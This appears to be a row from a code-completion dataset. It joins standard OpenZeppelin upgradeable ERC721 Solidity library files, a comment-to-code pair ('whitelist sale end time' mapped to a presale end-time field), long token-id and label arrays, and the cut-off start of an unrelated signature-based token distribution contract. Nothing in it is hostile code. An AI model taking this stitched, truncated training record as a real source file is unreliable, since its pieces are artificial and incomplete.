function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721Upgradeable.sol";
import "./IERC721ReceiverUpgradeable.sol";
import "./extensions/IERC721MetadataUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../utils/StringsUpgradeable.sol";
import "../../utils/introspection/ERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
uint256[44] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721EnumerableUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | whitelist sale end time | uint32 presale_end_time;
| 1,229,487 | [
1,
20409,
272,
5349,
679,
813,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2254,
1578,
4075,
5349,
67,
409,
67,
957,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "./library/ReentrancyGuarded.sol";
import "./library/EIP712.sol";
import "./library/EIP1271.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "hardhat/console.sol";
contract DistributionSign is AccessControl, ReentrancyGuarded, EIP712 {
event Claimed(address user, uint256 amount);
event UserBatchAdded(address[] users, uint256[] amounts);
event UserAdded(address user, uint256 amount);
event UserRemoved(address user);
struct Order {
/* Order maker address. */
address maker;
/** The address to which the token will be sent */
address target;
/* token address */
address token;
/* Order price. */
uint256 amount;
/* Order expiration timestamp - 0 for no expiry. */
uint256 expirationTime;
/* Order salt to prevent duplicate hashes. */
uint256 salt;
}
mapping(address => uint256) public claimed;
mapping(address => mapping(bytes32 => uint256)) public fills;
bytes internal personalSignPrefix = "\x19Ethereum Signed Message:\n";
/* Order typehash for EIP 712 compatibility. */
bytes32 constant ORDER_TYPEHASH =
keccak256(
"Order(address maker,address target,address token,uint256 amount,uint256 expirationTime,uint256 salt)"
);
IERC20 public token;
string public constant name = "Distribution";
string public constant version = "1";
constructor(uint256 chainId) {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
DOMAIN_SEPARATOR = hash(
EIP712Domain({
